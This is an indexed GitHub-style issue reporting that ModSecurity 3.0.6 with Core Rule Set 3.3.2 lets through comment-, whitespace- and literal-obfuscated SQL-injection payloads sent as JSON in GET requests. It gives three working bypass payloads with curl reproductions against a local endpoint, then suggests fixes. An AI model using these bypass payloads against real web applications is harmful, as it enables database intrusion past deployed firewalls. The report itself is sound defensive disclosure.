owasp-modsecurity / owasp-modsecurity/ModSecurity
ModSecurity GET(JSON): SQLi bypass via separator, literal, and annotation variants
Nobody has claimed this yet.
- Dominant language
- C++
- Stars
- 9.8k
- Forks
- 1.8k
- Avg merge
- 2h 46m
- Merged PRs (30d)
- 1
Description
[ModSecurity][GET(JSON)] SQLi bypass via lexical-separator variants and literal/annotation variants
Summary
- WAF:
ModSecurity - Request manner:
GET(JSON) - Defect pattern: Lexical-separator variants and literal/annotation variants.
- Evaluation scope:
623unique SQLi mutation attempts;257successful bypasses were observed in this manner. - In our log format,
1 => 0means the WAF decision changed from malicious/blocked to benign/allowed.
Environment
- WAF version:
3.0.6 - Notes: ModSecurity-nginx connector
v1.0.2; OWASP Core Rule Set3.3.2; OpenResty1.19.9.1.
Mutation Rules Involved
The study associates this pattern with the following concrete fuzzer rules:
- command_injection: combines space-to-comment substitution with comment rewriting
- random_case: randomly changes capitalization of SQL keywords
- spaces_to_comments: replaces spaces with inline block comments, or block comments with spaces
- comment_rewriting: appends noise after line comments or rewrites block-comment contents
- inline_comment: wraps SQL keywords in MySQL executable comments such as
/*!SELECT*/
Invisible-character Notation
The payload excerpts below render invisible characters explicitly so they can be reviewed and reproduced:
<TAB>= horizontal tab (\t, U+0009)<LF>= line feed (\n, U+000A)<CR>= carriage return (\r, U+000D)<FF>= form feed (\f, U+000C)<VT>= vertical tab (\v, U+000B)<NBSP>= non-breaking space (U+00A0)
Representative Successful Examples
Case 1
- Final decision change:
1 => 0 - Matching rationale: The transformed payload relies on separator, literal, or annotation changes that should normalize to the same SQL token stream. Observable features: lexical separator, literal variant, annotation variant.
- Original payload excerpt:
...1%"));begin user_lock.sleep(5); end and (("%"="
- Transformed payload excerpt, with invisible characters rendered explicitly:
(/*TQ6M#*//*0x2@zCf*/0x1)%"));begin user_lock.sleep((SELECT/*Lhd#*/(SELECT/**/(SELECT/**/5))));/**/end/**/and/*tYS}*/(("%"=")Tu
Minimal Reproduction
- Endpoint:
http://127.0.0.1:9000/waf - Method:
GET - JSON carrier query parameter:
data - JSON object before transport encoding:
{"id":"<payload>"} - Transport encoding: the full JSON object is percent-encoded in the query string.
- Expected behavior: the WAF blocks the request as SQL injection.
- Observed behavior in the evaluation: the transformed payload was allowed (
1 => 0).
curl -i 'http://127.0.0.1:9000/waf?data=%7B%22id%22%3A%22%28%2F%2ATQ6M%23%2A%2F%2F%2A0x2%40zCf%2A%2F0x1%29%25%5C%22%29%29%3Bbegin%20user_lock.sleep%28%28SELECT%2F%2ALhd%23%2A%2F%28SELECT%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5%29%29%29%29%3B%2F%2A%2A%2Fend%2F%2A%2A%2Fand%2F%2AtYS%7D%2A%2F%28%28%5C%22%25%5C%22%3D%5C%22%29Tu%22%7D'
Case 2
- Final decision change:
1 => 0 - Matching rationale: The transformed payload relies on separator, literal, or annotation changes that should normalize to the same SQL token stream. Observable features: lexical separator, literal variant, annotation variant.
- Original payload excerpt:
... end and '%' = '
- Transformed payload excerpt, with invisible characters rendered explicitly:
/* =jl$*/<TAB>/*nA?*//*_#<VT>*/'%' <TAB>/*0x8#$X1*/ '0x7*.0x4
Minimal Reproduction
- Endpoint:
http://127.0.0.1:9000/waf - Method:
GET - JSON carrier query parameter:
data - JSON object before transport encoding:
{"id":"<payload>"} - Transport encoding: the full JSON object is percent-encoded in the query string.
- Expected behavior: the WAF blocks the request as SQL injection.
- Observed behavior in the evaluation: the transformed payload was allowed (
1 => 0).
curl -i 'http://127.0.0.1:9000/waf?data=%7B%22id%22%3A%22%20%2F%2A%20%3Djl%24%2A%2F%5Ct%2F%2AnA%3F%2A%2F%2F%2A_%23%5Cu000b%2A%2F%27%25%27%20%5Ct%2F%2A0x8%23%24X1%2A%2F%20%270x7%2A.0x4%22%7D'
Case 3
- Final decision change:
1 => 0 - Matching rationale: The transformed payload relies on separator, literal, or annotation changes that should normalize to the same SQL token stream. Observable features: lexical separator, literal variant, annotation variant.
- Original payload excerpt:
...1" where 9669=9669;select sleep(5)--
- Transformed payload excerpt, with invisible characters rendered explicitly:
1"/*K?2*//*=*//*bE*/9669=0x25c5;/**//*L\\#1O*/sleep((select 0x5))--<q
Minimal Reproduction
- Endpoint:
http://127.0.0.1:9000/waf - Method:
GET - JSON carrier query parameter:
data - JSON object before transport encoding:
{"id":"<payload>"} - Transport encoding: the full JSON object is percent-encoded in the query string.
- Expected behavior: the WAF blocks the request as SQL injection.
- Observed behavior in the evaluation: the transformed payload was allowed (
1 => 0).
curl -i 'http://127.0.0.1:9000/waf?data=%7B%22id%22%3A%221%5C%22%2F%2AK%3F2%2A%2F%2F%2A%3D%2A%2F%2F%2AbE%2A%2F9669%3D0x25c5%3B%2F%2A%2A%2F%2F%2AL%5C%5C%231O%2A%2Fsleep%28%28select%200x5%29%29--%3Cq%22%7D'
Suggested Fixes
- Apply canonicalization before SQLi matching: collapse TAB/CR/VT/FF/NBSP to ordinary spaces, normalize keyword case, and safely process regular and executable comments.
- Normalize literal forms and comment-split tokens, for example
0x1to1anduni/**/ontounion, before evaluating SQLi rules. - Add these transformed payloads as regression tests and assert that they remain blocked after the fix.
Validation Plan
- Replay the representative transformed payloads through the same request manner and confirm that the WAF still blocks them.
- Add negative tests with benign requests containing ordinary comments, whitespace, or JSON formatting to monitor false positives.
- Run the same canonicalization path across GET, GET(JSON), and POST to prevent request-manner-specific drift.
Contributor guide
No contributing guide indexed for this repository
First steps
- Read the whole issue, then the project's contributing guide.
- Comment on the issue to say you are picking it up — it saves two people doing the same work.
- Fork the repository and make your change on a branch.
- Open a pull request that references the issue number.
Research direction
Start with the GET(JSON) request path and trace how its input reaches SQLi matching and canonicalization, then compare that path with GET and POST handling. Add regression coverage for the three transformed examples and negative cases containing benign comments, whitespace, and JSON formatting. Done means the representative variants remain blocked without introducing those false positives.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- cpp
- Domain
- security
- Issue type
- Bug
- Difficulty
- 5/5
- Estimated time
- Over a week
- Activity status
- Quiet
- Clarity
- Mostly clear
- Newbie friendliness
- 28/100